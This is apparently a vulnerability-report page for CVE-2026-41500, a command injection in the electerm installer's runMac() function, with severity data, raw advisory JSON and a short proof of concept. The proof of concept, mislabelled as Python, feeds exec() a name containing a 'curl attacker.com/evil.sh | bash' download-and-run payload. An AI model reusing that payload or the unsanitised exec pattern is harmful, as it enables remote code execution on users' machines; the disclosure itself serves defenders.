Security Vulnerability Report
中文
CVE-2026-41500 CVSS 9.8 CRITICAL

CVE-2026-41500

Published: 2026-05-08 04:16:18
Last Modified: 2026-05-08 19:18:38

Description

electerm is an open-sourced terminal/ssh/sftp/telnet/serialport/RDP/VNC/Spice/ftp client. Prior to version 3.3.8, a command injection vulnerability exists in github.com/elcterm/electerm/npm/install.js:150. The runMac() function appends attacker-controlled remote releaseInfo.name directly into an exec("open ...") command without validation. This issue has been patched in version 3.3.8.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:electerm_project:electerm:*:*:*:*:*:*:*:* - VULNERABLE
electerm < 3.3.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// POC for CVE-2026-41500 // This demonstrates how a malicious payload in 'releaseInfo.name' triggers the command injection. // The vulnerable code is in npm/install.js:150 within the runMac() function. const { exec } = require('child_process'); // Simulating the attacker-controlled object coming from a remote response const maliciousReleaseInfo = { name: "malicious_app; curl http://attacker.com/evil.sh | bash; #" }; function runMac(releaseInfo) { // VULNERABLE CODE: Direct concatenation of user input into exec() const command = "open " + releaseInfo.name; console.log(`Executing command: ${command}`); exec(command, (error, stdout, stderr) => { if (error) { console.error(`exec error: ${error}`); return; } console.log(`Output: ${stdout}`); }); } // Trigger the vulnerability runMac(maliciousReleaseInfo);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41500", "sourceIdentifier": "[email protected]", "published": "2026-05-08T04:16:17.720", "lastModified": "2026-05-08T19:18:38.083", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "electerm is an open-sourced terminal/ssh/sftp/telnet/serialport/RDP/VNC/Spice/ftp client. Prior to version 3.3.8, a command injection vulnerability exists in github.com/elcterm/electerm/npm/install.js:150. The runMac() function appends attacker-controlled remote releaseInfo.name directly into an exec(\"open ...\") command without validation. This issue has been patched in version 3.3.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:electerm_project:electerm:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.3.8", "matchCriteriaId": "0EBE0538-E839-40FE-A759-E08EABC6BFF6"}]}]}], "references": [{"url": "https://github.com/electerm/electerm/commit/59708b38c8a52f5db59d7d4eff98e31d573128ee", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/electerm/electerm/releases/tag/v3.3.8", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/electerm/electerm/security/advisories/GHSA-wxw2-rwmh-vr8f", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}